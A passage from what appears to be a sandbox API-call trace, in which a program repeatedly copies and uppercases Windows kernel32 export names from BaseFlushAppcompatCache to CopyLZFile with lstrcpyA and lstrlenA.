[0118.575] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0118.575] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0118.575] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0118.575] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0118.575] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0118.575] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0118.575] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0118.575] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0118.575] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0118.575] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0118.575] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0118.575] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0118.575] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0118.575] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0118.575] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0118.575] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0118.575] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0118.575] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0118.576] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0118.576] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0118.576] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0118.576] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0118.576] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0118.576] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0118.576] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0118.576] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0118.576] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0118.576] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0118.576] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0118.576] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0118.576] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0118.576] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0118.576] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0118.576] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0118.576] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0118.576] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0118.576] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0118.576] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0118.576] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0118.576] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0118.576] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0118.576] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0118.576] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0118.576] lstrcpyA (in: lpString1=0x2e7f298, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0118.576] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0118.576] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0118.576] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0118.576] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0118.577] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0118.577] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0118.577] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0118.577] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0118.577] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0118.577] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0118.577] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0118.577] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0118.577] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0118.577] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0118.577] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0118.577] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0118.577] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0118.577] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0118.577] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0118.577] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0118.577] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0118.577] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0118.577] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0118.577] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0118.577] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0118.577] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0118.577] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0118.577] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0118.577] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0118.577] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0118.577] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0118.577] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0118.577] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0118.577] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0118.577] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0118.578] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0118.578] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0118.578] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0118.578] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0118.578] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0118.578] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0118.578] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0118.578] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0118.578] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0118.578] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0118.578] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0118.578] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0118.578] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0118.578] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0118.578] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0118.578] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0118.578] lstrcpyA (in: lpString1=0x2e7f298, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0118.578] lstrlenA (lpString="BEEP") returned 4 [0118.578] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0118.578] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0118.578] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0118.578] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0118.578] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0118.578] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0118.578] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0118.578] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0118.578] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0118.578] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0118.578] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0118.578] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0118.578] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0118.578] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0118.579] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0118.579] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0118.579] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0118.579] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0118.579] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0118.579] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0118.579] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0118.579] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0118.579] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0118.579] lstrlenA (lpString="CANCELIO") returned 8 [0118.579] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0118.579] lstrlenA (lpString="CANCELIOEX") returned 10 [0118.579] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0118.579] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0118.579] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0118.579] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0118.579] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0118.579] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0118.579] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0118.579] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0118.579] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0118.579] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0118.579] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0118.579] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0118.579] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0118.579] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0118.579] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0118.579] lstrlenA (lpString="CHECKELEVATION") returned 14 [0118.579] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0118.579] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0118.579] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0118.580] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0118.580] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0118.580] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0118.580] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0118.580] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0118.580] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0118.580] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0118.580] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0118.580] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0118.580] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0118.580] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0118.580] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0118.580] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0118.580] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0118.580] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0118.580] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0118.580] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0118.580] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0118.580] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0118.580] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0118.580] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0118.580] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0118.580] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0118.580] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0118.580] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0118.580] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0118.580] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0118.580] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0118.580] lstrlenA (lpString="CLOSESTATE") returned 10 [0118.580] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0118.580] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0118.580] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0118.581] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0118.581] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0118.581] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0118.581] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0118.581] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0118.581] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0118.581] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0118.581] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0118.581] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0118.581] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0118.581] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0118.581] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0118.581] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0118.581] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0118.581] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0118.581] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0118.581] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0118.581] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0118.581] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0118.581] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0118.581] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0118.581] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0118.582] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0118.582] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0118.582] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0118.582] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0118.582] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0118.582] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0118.582] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0118.582] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0118.582] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0118.582] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0118.582] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0118.582] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0118.582] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0118.582] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0118.582] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0118.582] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0118.582] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0118.582] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0118.582] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0118.582] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0118.582] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0118.582] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0118.582] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0118.582] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0118.582] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0118.582] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0118.582] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0118.582] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0118.583] lstrlenA (lpString="COPYCONTEXT") returned 11 [0118.583] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0118.583] lstrlenA (lpString="COPYFILE2") returned 9 [0118.583] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0118.583] lstrlenA (lpString="COPYFILEA") returned 9 [0118.583] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0118.583] lstrlenA (lpString="COPYFILEEXA") returned 11 [0118.583] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0118.583] lstrlenA (lpString="COPYFILEEXW") returned 11 [0118.583] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0118.583] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0118.583] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0118.583] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0118.583] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0118.583] lstrlenA (lpString="COPYFILEW") returned 9 [0118.583] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0118.583] lstrlenA (lpString="COPYLZFILE") returned 10 [0118.583] lstrcpyA (in: 